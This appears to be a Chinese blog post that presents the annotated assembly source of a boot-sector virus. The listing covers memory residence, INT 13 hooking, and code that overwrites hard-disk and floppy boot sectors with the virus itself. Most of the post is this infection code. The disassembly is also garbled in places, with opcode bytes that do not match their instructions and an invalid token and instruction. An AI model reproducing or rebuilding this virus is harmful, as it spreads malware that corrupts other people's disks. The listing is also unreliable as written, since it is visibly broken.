naoga

BOOT型病毒源代码(汇编语言)

病毒介绍:

  这是一个典型的引导型病毒,具体名称已忘记。从使用的技术来看有点像 6.4 病毒(哪位高手知道,请告知)

病毒分析:

  内存驻留,替换中断……,怪就怪在用了一大堆没用的代码。(让我写至少可以去掉一半)


;==================================================
;0000:7C0B处为磁盘标志 ,80H 表示硬盘
;==================================================
0000:7C00 EB1C     JMP  7C1E
0000:7C02    00 00 00 00 00 00-00 00 00 80 00 00 00 00     ..............
0000:7C10 00 00 00 00 00 00 00 00-00 00 00 00 00 00         ..............
0000:7C1E FA      CLI
0000:7C1F 33C0     XOR  AX,AX
0000:7C21 8ED8     MOV  DS,AX
0000:7C23 BC007C    MOV  SS,AX
0000:7C25 8BF4     MOV  SI,SP
0000:7C28 FB      STI
0000:7C2A C4064C00   LES  AX,[004C]
0000:7C2F A3077C    MOV  [7C07],AX
0000:7C32 8C06097C   MOV  [7C09],ES          ;保存正常 INT 13 中断地址
0000:7C36 A11304    MOV  AX,[0413]          ;取当前未使用内存容量
0000:7C39 48      DEC  AX
0000:7C3A 48      DEC  AX
0000:7C3B A31304    MOV  [0413],AX          ;内存容量减 2K 以获得藏身的空间
0000:7C3E B106     MOV  CL,06
0000:7C40 D3E0     SHL  AX,CL
0000:7C42 83C0     MOV  ES,AX            ;计算藏身内存区域的段地址
0000:7C44 B90002    MOV  CX,0200           ;驻留于高端
0000:7C47 33FF     XOR  DI,DI
0000:7C49 FC      CLD
0000:7C4A F3      REPZ
0000:7C4B A4      MOVSB                ;复制自身到藏身段
0000:7C4C B88800    MOV  AX,0088
0000:7C4F 06      PUSH  ES
0000:7C50 50      PUSH  AX
0000:7C51 CB      RETF                ;跳转藏身段继续运行  ????:0088
;===============================================
;以下是病毒的 INT 13 中断处理例程
;===============================================
0000:7C52 1E      PUSH  DS
0000:7C53 50      PUSH  AX
0000:7C54 F6C2F0    TEST  DL,F0
0000:7C57 7528     JNZ  7C81
0000:7C59 D0EC     SHR  AH,1
0000:7C5B FECC     DEC  AH
0000:7C5D 7522     JNZ  7C81
0000:7C5F 33C0     XOR  AX,AX
0000:7C61 8ED8     MOV  DS,AX
0000:7C63 A16C04    MOV  AX,[046C]
0000:7C66 8AC4     MOV  AL,AH
0000:7C68 2E      CS:
0000:7C69 2A060300   SUB  AL,[0003]
0000:7C6D 3C02     CMP  AL,02
0000:7C6F 7210     JB   7C81
0000:7C71 2E      CS:
0000:7C72 88260300   MOV  [0003],AH
0000:7C76 3D0200    CMP  AX,0002
0000:7C79 7303     JNB  7C7E
0000:7C7B E8CC00    CALL  7D4A             ;取盘号
0000:7C7E E8E800    CALL  7D69             ;传染
0000:7C81 58      POP  AX
0000:7C82 1F      POP  DS
0000:7C83 2E      CS:
0000:7C84 FF2E0700   JMP  FAR [0007]
;===============================================
;以下在内存高端执行
;===============================================
0000:7C88 33C0     XOR  AX,AX
0000:7C8A 8EC0     MOV  ES,AX
0000:7C8C CD13     INT  13
0000:7C8E 0E      PUSH  CS
0000:7C8F 1F      POP  DS
0000:7C90 803E0B0000  CMP  BYTE PTR [000B],00     ;当前盘是否为软盘
0000:7C95 7424     JZ   7CBB
;===============================================
;以下是对硬盘的处理
;===============================================
0000:7C97 BEAE01    MOV  SI,7CAE
0000:7C9A 83C610    ADD  SI,+10
0000:7C9D 803C80    CMP  BYTE PTR[SI],80       ;逐个检查分区是否为主分区
0000:7CA0 75F8     JNZ  7C9A
0000:7CA2 8B14     MOV  DX,[SI]
0000:7CA4 8B4C02    MOV  CX,[SI+02]
0000:7CA7 BB007C    MOV  BX,7C00
0000:7CAA B80102    MOV  AX,0201
0000:7CAD CD13     INT  13             ;读该分区引导至[0000:7C00]
0000:7CAF 72D7     JB   7C88
0000:7CB1 2E      CS:
0000:7CB2 C7064801C007 MOV  WORD PTR [0148],07C0    ;[0148]处为存放引导程序的地址
0000:7CB8 EB7B     JMP  0235
;===============================================
;以下是对软盘的处理
;===============================================
0000:7CBA 90      NOP
0000:7CBB B280     MOV  DL,80
0000:7CBD E8A900    CALL  7D69
0000:7CC0 BF1800    MOV  DI,0018
0000:7CC3 8B45F9    MOV  AX,[DI-07]
0000:7CC6 B90400    MOV  CX,0004
0000:7CC9 D3E8     SHR  AX,CL
0000:7CCB 8BE8     MOV  BP,AX
0000:7CCD 8B45FE    MOV  AX,[DI-02]
0000:7CD0 D1E0     SHL  AX,1
0000:7CD2 40      INC  AX
0000:7CD3 03E8     ADD  BP,AX
0000:7CD5 F635     DIV  BYTE PTR [DI]        ;算啊算
0000:7CD7 8ACC     MOV  CL,AH
0000:7CD9 FEC1     INC  CL
0000:7CDB 33D2     XOR  DX,DX
0000:7CDD 8AF0     MOV  DH,AL
0000:7CDF BB0005    MOV  BX,0500
0000:7CE2 B80102    MOV  AX,0201
0000:7CE5 CD13     INT  13
0000:7CE7 72F9     JB   7CE2
0000:7CE9 8BC5     MOV  AX,BP
0000:7CEB BE3400    MOV  SI,0034
0000:7CEE B707     MOV  BH,07
0000:7CF0 F635     DIV  BYTE PTR [DI]
0000:7CF2 33C9     XOR  CX,CX
0000:7CF4 86E1     XCHG  AH,CL
0000:7CF6 2BF1     SUB  SI,CX
0000:7CF8 F67502    DIV  BYTE PTR [DI+02]
0000:7CFB 8BD0     MOV  DX,AX
0000:7CFD 86D5     XCHG  DL,CH
0000:7CFF 8A05     MOV  AL,[DI]
0000:7D01 2AC1     SUB  AL,CL
0000:7D03 FEC1     INC  CL
0000:7D05 B402     MOV  AH,02
0000:7D07 50      PUSH  AX
0000:7D08 CD13     INT  13             ;读啊读
0000:7D0A 58      POP  AX
0000:7D0B 72F8     JB   7D05
0000:7D0D B101     MOV  CL,01
0000:7D0F 02F8     ADD  BH,AL
0000:7D11 02F8     ADD  BH,AL
0000:7D13 8B05     MOV  AX,[DI]
0000:7D15 FEC6     INC  DH
0000:7D17 EA7502    CMP  DH,[DI+02]
0000:7D1A 7204     JB   7D20
0000:7D1C B600     MOV  DH,00
0000:7D1E FEC5     INC  CH
0000:7D20 2BF0     SUB  SI,AX
0000:7D22 73E1     JNB  7D05
0000:7D24 03C6     ADD  AX,SI
0000:7D26 B402     MOV  AH,02
0000:7D28 CD13     INT  13             ;到最后也没见什么新鲜玩艺儿
0000:7D2A 8A6DFD    MOV  CH,[DI-03]
0000:7D2D 8BDD     MOV  BX,BP
;===============================================
;会根据硬盘软盘处理而改变
;===============================================
0000:7D2F C70648017000 MOV  WORD PTR [0148],0070
;===============================================
;以下为跳转引导正常分区
;===============================================
0000:7D35 33C0     XOR  AX,AX
0000:7D37 A20B00    MOV  [000B],AL
0000:7D3A 8ED8     MOV  DS,AX
0000:7D3C B052     MOV  AL,52
0000:7D3E A34C00    MOV  [004C],AX
0000:7D41 8C0E4E00   MOV  [004E],CS          ;接管 INT 13 中断
0000:7D45 EA00007000  JMP  0070:0000
;===============================================
;写病毒的人是笨蛋!找一个盘号用得着这么复杂吗?
;===============================================
0000:7D4A 53      PUSH  BX
0000:7D4B B010     MOV  AL,10
0000:7D4D E670     OUT  70,AL
0000:7D4F E471     IN   AL,71
0000:7D51 0420     ADD  AL,20
0000:7D53 2433     AND  AL,33
0000:7D55 8AE0     MOV  AH,AL
0000:7D57 B010     MOV  AL,10
0000:7D59 E670     OUT  70,AL
0000:7D5B IAC4     MOV  AL,AH
0000:7D5D E671     MOV  71,AL
0000:7D5F B012     MOV  AL,12
0000:7D61 E670     OUT  70,AL
0000:7D63 B000     MOV  AL,00
0000:7D65 E671     OUT  71,AL
0000:7D67 5B      POP  BX
0000:7D68 C3      RET
;===============================================
;以下根据 DL 设定盘号进行传染
;===============================================
0000:7D69 53      PUSH  BX
0000:7D6A 51      PUSH  CX
0000:7D6B 52      PUSH  DX
0000:7D6C 06      PUSH  ES
0000:7D6D 56      PUSH  SI
0000:7D6E 57      PUSH  DI
0000:7D6F 0E      PUSH  CS
0000:7D70 1F      POP  DS
0000:7D71 0E      PUSH  CS
0000:7D72 07      POP  ES
0000:7D73 BB0002    MOV  BX,0200
0000:7D76 B90100    MOV  CX,0001
0000:7D79 32F6     XOR  DH,DH
0000:7D7B B80102    MOV  AX,0201
0000:7D7E 9C      PUSHF
0000:7D7F FF1E0700   CALL  FAR [0007]         ;调用正常中断读 BOOT
0000:7D83 7222     JB   7DA7
0000:7D85 C707EB1C   MOV  WORD PTR [BX],1CEB     ;第一条指令 JMP 7C1E
0000:7D89 80FA80    CMP  DL,80
0000:7D8C 7504     JNZ  7D92
0000:7D8E 88160B02   MOV  [020B],CL
0000:7D92 FC      CLD
0000:7D93 B9A001    MOV  CX,01A0
0000:7D96 BE1E00    MOV  SI,001E
0000:7D99 BF1E02    MOV  DI,021E
0000:7D9C F3      REPZ
0000:7D9D A4      MOVSB               ;用病毒程序代码覆盖正常 BOOT 内容
0000:7D9E B80103    MOV  AX,0301
0000:7DA1 41      INC  CX
0000:7DA2 9C      PUSHF
0000:7DA3 FF1E0700   CALL  FAR [0007]         ;调用正常 INT 13 写入 BOOT
0000:7DA7 5F      POP  DI
0000:7DA8 5E      POP  SI
0000:7DA9 07      POP  ES
0000:7DAA 5A      POP  DX
0000:7DAB 59      POP  CX
0000:7DAC 5B      POP  BX
0000:7DAD C3      RET


0000:7DAE                      20 6B            k
0000:7DB0 65 79 20 77 68 65 6E 20-72 65 61 64 79 OD 00 00     ey when ready...
0000:7DC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00     ................
0000:7DD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00     ................
0000:7DE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00     ................
0000:7DF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00     ................

评论